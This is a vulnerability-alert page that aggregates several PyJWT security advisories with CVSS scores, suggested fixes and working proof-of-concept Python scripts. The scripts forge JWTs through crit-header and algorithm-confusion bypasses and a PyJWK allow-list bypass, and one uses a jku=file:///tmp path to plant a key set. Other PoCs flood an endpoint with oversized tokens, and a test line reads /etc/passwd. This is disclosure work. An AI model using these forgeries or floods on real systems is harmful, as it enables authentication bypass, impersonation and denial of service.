Where
-Infinity
0
Severity
7.5
EPSS
0.01%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib), which received CVSS 7.5 (HIGH).

---

RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this specification and/or [JWA] are being used that MUST be understood and processed. [...] If any of the listed extension Header Parameters are not understood and supported by the recipient, then the JWS is invalid.

---

Proof of Concept

python import jwt # PyJWT 2.8.0 import hmac, hashlib, base64, json

Construct token with unknown critical extension header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"} payload = {"sub": "attacker", "role": "admin"}

def b64url(data): return base64.urlsafeb64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode()) p = b64url(json.dumps(payload, separators=(",", ":")).encode()) sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest()) token = f"{h}.{p}.{sig}"

Should REJECT — x-custom-policy is not understood by PyJWT try: result = jwt.decode(token, "secret", algorithms=["HS256"]) print(f"ACCEPTED: {result}") # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'} except Exception as e: print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy Actual: Token accepted, payload returned.

Comparison with RFC-compliant library

python jwcrypto — correctly rejects from jwcrypto import jwt as jwjwt, jwk key = jwk.JWK(kty="oct", k=b64url(b"secret")) jwjwt.JWT(jwt=token, key=key, algs=["HS256"]) raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

---

Impact

- Split-brain verification in mixed-library deployments (e.g., API gateway using jwcrypto rejects, backend using PyJWT accepts) - Security policy bypass when crit carries enforcement semantics (MFA, token binding, scope restrictions) - Token binding bypass — RFC 7800 cnf (Proof-of-Possession) can be silently ignored - See CVE-2025-59420 for full impact analysis

---

Suggested Fix

In jwt/apijwt.py, add validation in validateheaders() or decode():

python SUPPORTEDCRIT = {"b64"} # Add extensions PyJWT actually supports

def validatecrit(self, headers: dict) -> None: crit = headers.get("crit") if crit is None: return if not isinstance(crit, list) or len(crit) == 0: raise InvalidTokenError("crit must be a non-empty array") for ext in crit: if ext not in self.SUPPORTEDCRIT: raise InvalidTokenError(f"Unsupported critical extension: {ext}") if ext not in headers: raise InvalidTokenError(f"Critical extension {ext} not in header")

---

CWE

- CWE-345: Insufficient Verification of Data Authenticity - CWE-863: Incorrect Authorization

References

- RFC 7515 §4.1.11 - CVE-2025-59420 — Authlib crit bypass (CVSS 7.5) - RFC 7800 — Proof-of-Possession Key Semantics

1 / 3
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example: jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

def preparekey(self, key: str | bytes) -> bytes: keybytes = forcebytes(key)

if ispemformat(keybytes) or issshkey(keybytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." )

return keybytes We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example: jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"])) There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier: (a) allows HS and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.apijws import PyJWS import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafeb64encode(b).rstrip(b"=")

Public RSA JWK (public by design) rsajwkjson = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

Attacker-crafted token: flip to HS256 and choose claims header = b64u(b'{"alg":"HS256","typ":"JWT"}') payload = b64u(b'{"sub":"alice","admin":true}') signing = header + b"." + payload

Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret” sig = hmac.new(rsajwkjson.encode(), signing, hashlib.sha256).digest() token = (signing + b"." + b64u(sig)).decode()

Vulnerable verifier: mixed families + JWK JSON string as key jws = PyJWS() print(jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"])) -> b'{"sub":"alice","admin":true}'

Impact Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

1 / 3
Source: GitHub
First published (updated )
Severity
7

PyJWT is a JSON Web Token implementation in Python. Prior to 2.12.0, PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC. This vulnerability is fixed in 2.12.0.

First published (updated )
Severity
7

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.

PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decodecomplete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.getsigningkeyfromjwt(...) flow.

Summary

PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.

In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.

This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.

Details

In jwt/apijws.py in 2.12.1, verifysignature() treats PyJWK keys differently from normal PEM/public-key inputs:

python if algorithms is None and isinstance(key, PyJWK): algorithms = [key.algorithmname]

...

if not alg or (algorithms is not None and alg not in algorithms): raise InvalidAlgorithmError("The specified alg value is not allowed")

if isinstance(key, PyJWK): algobj = key.Algorithm preparedkey = key.key else: algobj = self.getalgorithmbyname(alg) preparedkey = algobj.preparekey(key)

This logic means:

1. The JWT header alg is checked only as a string against the caller-supplied allow-list. 2. If the key is a PyJWK, the actual verifier is not selected from the header algorithm. 3. Instead, PyJWT always verifies with key.Algorithm, which is fixed when the PyJWK object is created.

PyJWK binds its algorithm in jwt/apijwk.py from the JWK's alg field or from key-type defaults:

python if not algorithm and isinstance(self.jwkdata, dict): algorithm = self.jwkdata.get("alg", None)

...

self.algorithmname = algorithm self.Algorithm = getdefaultalgorithms()[algorithm] self.key = self.Algorithm.fromjwk(self.jwkdata)

So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.

The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:

python signingkey = jwksclient.getsigningkeyfromjwt(token) jwt.decode( token, signingkey, audience="https://expenses-api", options={"verifyexp": False}, algorithms=["RS256"], )

PyJWKClient.getsigningkeyfromjwt() returns a PyJWK, so this documented path is affected.

This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:

- self-service OAuth client assertions - multi-tenant key registration - federation / BYO-JWKS trust models - any system where external parties sign JWTs with their own registered keys

In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.

The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.

This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.

PoC

Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.

Install dependencies:

bash python -m pip install pyjwt==2.12.1 cryptography

Run the following script:

python import json import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat from jwt.apijwk import PyJWK from jwt.algorithms import RSAAlgorithm from jwt.utils import base64urlencode

Generate an RSA keypair controlled by the attacker. priv = rsa.generateprivatekey(publicexponent=65537, keysize=2048) pub = priv.publickey() pubpem = pub.publicbytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)

Build a PyJWK from the public key. With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default. jwk = PyJWK.fromjson(RSAAlgorithm.tojwk(pub))

Create a token whose protected header claims RS512. header = {"typ": "JWT", "alg": "RS512"} payload = {"sub": "alice"}

headerb64 = base64urlencode( json.dumps(header, separators=(",", ":"), sortkeys=True).encode() ) payloadb64 = base64urlencode( json.dumps(payload, separators=(",", ":")).encode() ) signinginput = b".".join([headerb64, payloadb64])

Sign the RS512-labelled token with RS256 instead. sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signinginput, priv) token = b".".join([headerb64, payloadb64, base64urlencode(sig)]).decode()

print("token:", token) print("PyJWK path:") print(jwt.decode(token, jwk, algorithms=["RS512"]))

print("PEM path:") try: print(jwt.decode(token, pubpem, algorithms=["RS512"])) except Exception as e: print(f"{type(e).name}: {e}")

Observed output:

text PyJWK path: {'sub': 'alice'} PEM path: InvalidSignatureError: Signature verification failed

The token is accepted when the verification key is a PyJWK, even though:

- the caller restricted allowed algorithms to ["RS512"] - the signature was actually generated with RS256

The same token is rejected when verified through the normal PEM/public-key path.

Impact

This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decodecomplete() when the verification key is a PyJWK, including keys returned by PyJWKClient.

The impact depends on the deployment model:

- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited. - If attackers can legitimately control a registered key, this is exploitable.

Impacted deployments include:

- JWT client assertion flows where each client uses its own key - multitenant systems where tenants register JWK/JWKS material - federation-style trust models - any application that relies on algorithms=[...] to enforce a crypto policy against externally controlled signing keys

What an attacker can do:

- bypass a server-side requirement such as "only PS256" or "only RS512" - continue using a deprecated or blocked algorithm after the server thought it had disabled it - authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy

What this issue does not do by itself:

- it does not let an attacker forge tokens without access to a valid signing key or signing oracle - it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

[!NOTE] Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.

When verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules.

For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detachedpayload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid.

This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT.

---

Affected Component(s)

jwt/apijws.py

PyJWS.decode() / PyJWS.decodecomplete() load() (parsing and Base64URL decoding)

---

Root Cause (exact logic flaw)

What happens in the code

In jwt/apijws.py, decodecomplete() does the following (order matters):

Calls load(jwt) first, which decodes the token segments Only after that, checks header.get("b64") and if False, it replaces payload = detachedpayload and rebuilds the signing input

This behavior is visible in decodecomplete():

load(jwt) happens before the b64=false handling then payload = detachedpayload and signinginput = ... detachedpayload happens afterward ([GitHub][1])

Inside load(), PyJWT unconditionally performs:

payload = base64urldecode(payloadsegment) This is the expensive step the attacker can amplify ([GitHub][1])

Why this becomes a vulnerability

For b64=false detached JWS, the payload segment in compact form is effectively not needed for verification in PyJWT’s own logic (since the library uses detachedpayload as the real payload). Yet PyJWT still decodes it first, meaning:

cost is paid even when signature is invalid the decoded bytes are discarded attacker controls the size of this cost via token length

---

Impact (evidence-driven)

Security impact

Unauthenticated remote DoS: decoding work happens before signature rejection → attacker does not need signing key. CPU amplification: Base64URL decode time scales linearly with payload segment size. Memory amplification: decoded output allocates large byte buffers (tens of MB per request). Operational impact: request queueing / worker starvation under modest concurrency bursts.

Standards context (RFC 7797)

RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2]) (PyJWT supports crit validation, but the issue here is decode order / unbounded decode of an unused segment.)

---

Affected Versions

Confirmed affected: PyJWT 2.12.1 (tested from your local editable install and repo). Likely affected: all versions that include detached payload support for JWS decoding, which was introduced in 2.4.0 (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])

(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)

---

Threat Model

Typical real deployment

A service verifies signed HTTP requests or webhooks using detached JWS:

token is provided in JSON body / query / header actual payload is the HTTP request body passed as detachedpayload

Attacker

remote unauthenticated client can send requests to verify endpoint does not need a valid signature (invalid signature still triggers the expensive decode path)

Attack chain

1. Attacker crafts a JWS compact token with header containing "b64": false and crit:["b64"]. 2. Attacker inflates the payload segment (middle segment) to millions of Base64URL characters. 3. Server calls PyJWS.decode(...detachedpayload=...). 4. PyJWT decodes the inflated segment (CPU + memory). 5. Signature is rejected afterward (401) — but resources already consumed. 6. Repeated requests or bursts cause queueing/worker starvation → DoS.

---

Proof of Concept - file names + results

PoC placement

serverlocalhost.py

clientlocalhost.py

floodlocalhost.py

---

PoC # 1 - Localhost verification server

File: serverlocalhost.py

Purpose: real HTTP endpoint (POST /verify) that calls PyJWT detached verification and prints: ok / timems / peakbytes / tokenlen / error.

Results (server console output)

text [+] Listening on http://127.0.0.1:8000 [+] POST /verify JSON: {"token": "..."}

[127.0.0.1] ok=True timems=0.102 peakbytes=2624 tokenlen=117 err=None [127.0.0.1] ok=False timems=2.012 peakbytes=2000983 tokenlen=500078 err=InvalidSignatureError [127.0.0.1] ok=True timems=1.591 peakbytes=2001061 tokenlen=500117 err=None

[127.0.0.1] ok=True timems=0.065 peakbytes=2304 tokenlen=117 err=None [127.0.0.1] ok=False timems=7.534 peakbytes=8000983 tokenlen=2000078 err=InvalidSignatureError [127.0.0.1] ok=True timems=6.347 peakbytes=8001061 tokenlen=2000117 err=None

[127.0.0.1] ok=True timems=0.066 peakbytes=2304 tokenlen=117 err=None [127.0.0.1] ok=False timems=23.034 peakbytes=32000983 tokenlen=8000078 err=InvalidSignatureError [127.0.0.1] ok=True timems=22.097 peakbytes=32001061 tokenlen=8000117 err=None

Key takeaways from these results

At 8,000,000 chars, a single invalid-signature request still causes:

~23 ms server work ~32 MB peak allocations returns 401 (invalid signature) → attacker does not need key.

---

PoC # 2 - Localhost network client

File: clientlocalhost.py Purpose: generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.

Results (client output)

payload-chars = 500,000

text === BASELINE (valid b64=false token) === HTTP: 200 clientwallms: 6.3499... servertimems: 0.10197... serverpeakbytes: 2624

=== ATTACK (INVALID signature - attacker needs no key) === HTTP: 401 clientwallms: 4.1010... servertimems: 2.01217... serverpeakbytes: 2000983 error: InvalidSignatureError

=== ATTACK (VALID signature - accepted path still wastes) === HTTP: 200 clientwallms: 3.6586... servertimems: 1.59092... serverpeakbytes: 2001061

payload-chars = 2,000,000

text === BASELINE === HTTP: 200 servertimems: 0.06527... serverpeakbytes: 2304

=== ATTACK (INVALID signature) === HTTP: 401 servertimems: 7.53430... serverpeakbytes: 8000983

=== ATTACK (VALID signature) === HTTP: 200 servertimems: 6.34682... serverpeakbytes: 8001061

payload-chars = 8,000,000

text === BASELINE === HTTP: 200 servertimems: 0.06573... serverpeakbytes: 2304

=== ATTACK (INVALID signature) === HTTP: 401 servertimems: 23.03403... serverpeakbytes: 32000983

=== ATTACK (VALID signature) === HTTP: 200 servertimems: 22.09702... serverpeakbytes: 32001061

Why this is strong evidence

The server clearly does heavy work before rejecting invalid signatures. The “valid signature” case shows even accepted requests waste resources due to unused payload segment.

---

PoC # 3 - Localhost flood / burst concurrency

File: floodlocalhost.py Purpose: sends N concurrent invalid-signature requests over HTTP to demonstrate queueing/worker starvation.

Results (your run: 20 concurrent @ 8,000,000 chars)

text totalwallms: 1374.5405770000616

(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError') (19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError') (18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError') (13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError') (11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError') (17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError') (10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError') (7, 401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError') (8, 401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError') (1, 401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError')

Interpretation

Each request still costs ~20–23 ms server processing and ~32 MB peak allocations. But client-observed latency rises up to ~1.15 seconds because requests queue behind each other → clear worker starvation/HoL blocking. All were rejected with 401 InvalidSignatureError → still unauthenticated.

---

Fix

Goal

Prevent unbounded resource consumption from an attacker-controlled payload segment that is unused in b64=false detached flow.

Minimal change strategy

In load() (or by refactoring parse order), do not Base64-decode payloadsegment until after you know whether b64=false applies.

Two safe options:

1. Reject non-empty payload segment when b64=false

Parse header first If b64 is false and payloadsegment is non-empty → raise DecodeError before decoding Then verification uses detachedpayload only

2. Skip decoding payload segment entirely when b64=false

Keep payload segment as raw bytes or empty Use detached payload for signing input

This aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.

(Implementation context: the current decode order and unconditional base64urldecode(payloadsegment) are visible in the file and line region around load() and decodecomplete() ([GitHub][1]).)

---

Workarounds

Enforce strict max token length at the HTTP boundary (proxy/gateway). Apply rate limiting on verification endpoints. If detached JWS (b64=false) is not needed in your app, reject tokens where header includes "b64": false.

1 / 3
Source: GitHub
First published (updated )
Severity
4.2
SSRF
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time

Attacker generates keypair (no relation to real IdP) key = rsa.generateprivatekey(publicexponent=65537, keysize=2048) pubn = key.publickey().publicnumbers().n

def b64u(n): bl = (n.bitlength() + 7) // 8 return base64.urlsafeb64encode(n.tobytes(bl, 'big')).rstrip(b'=').decode()

Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pubn),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f)

Attacker mints token signed with their private key, jku=file:// privpem = key.privatebytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, privpem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

Vulnerable application pattern: caller derives jku from token header and passes to PyJWKClient without scheme validation header = pyjwt.getunverifiedheader(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently keyobj = client.getsigningkeyfromjwt(token) decoded = pyjwt.decode(token, keyobj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

| Library | Behavior on jku=file://... | Mechanism | |---|---|---| | PyJWT 2.12.1 (Python) | Reads file from disk, parses, uses for signature verification | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG fetch() rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | http.DefaultTransport only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | HttpDocumentRetriever defaults RequireHttps=true | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowedschemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.init. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwksclient.py

python def init( self, uri: str, cachekeys: bool = False, maxcachedkeys: int = 16, cachejwkset: bool = True, lifespan: float = 300, headers: dict[str, Any] | None = None, timeout: float = 30, sslcontext: SSLContext | None = None, allowedschemes: tuple[str, ...] = ("https", "http"), # NEW ): """... :param allowedschemes: URL schemes the JWKS endpoint is permitted to use. Default ("https", "http"). Pass ("https",) for HTTPS-only operation. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted. """ # ... existing init code ... self.allowedschemes = allowedschemes self.validateurischeme()

def validateurischeme(self) -> None: """Reject the configured URI early if its scheme isn't allowed.""" from urllib.parse import urlparse parsed = urlparse(self.uri) scheme = parsed.scheme.lower() if not scheme: raise PyJWKClientError( f"PyJWKClient URI '{self.uri}' has no scheme; expected one of " f"{self.allowedschemes!r}") if scheme not in self.allowedschemes: raise PyJWKClientError( f"PyJWKClient URI scheme '{scheme}' is not in allowedschemes " f"{self.allowedschemes!r}; refusing to fetch from this URL")

Tests to add

python def testpyjwkclientrejectsfilescheme(): with pytest.raises(PyJWKClientError, match="not in allowedschemes"): PyJWKClient("file:///etc/passwd")

def testpyjwkclientrejectsftpscheme(): with pytest.raises(PyJWKClientError): PyJWKClient("ftp://example.org/keys.json")

def testpyjwkclientrejectsdatascheme(): with pytest.raises(PyJWKClientError): PyJWKClient('data:application/json,{"keys":[]}')

def testpyjwkclientcallercanlocktohttpsonly(): with pytest.raises(PyJWKClientError): PyJWKClient("http://internal.test/jwks.json", allowedschemes=("https",))

Compatibility

- Default allowedschemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints - Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare) - No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling - No existing GitHub issue or PR addressing scheme allowlisting - No silent fix in CHANGELOG through 2.12.1 - 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

1 / 3
Source: GitHub
First published (updated )
Severity
3.7
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

[!NOTE] The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service.

Summary PyJWKClient.getsigningkey() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests.

Additionally, fetchdata() finally block clears the JWKS cache on network error.

Root Cause jwt/jwksclient.py:172-198 - getsigningkey(kid) calls getsigningkeys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown. jwt/jwksclient.py:120-122 - finally block writes None to cache on error, clearing valid data.

Impact - DoS against JWKS endpoint (unlimited requests per invalid token) - DoS against application (network I/O latency) - Cascading failure (rate limiting clears cache, breaking legitimate auth)

Suggested Fix 1. Add refresh cooldown (refuse refresh more than once per TTL period) 2. Move cache write from finally to else block

Affected Versions All versions with PyJWKClient (2.4.0 through 2.12.1)

1 / 3
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203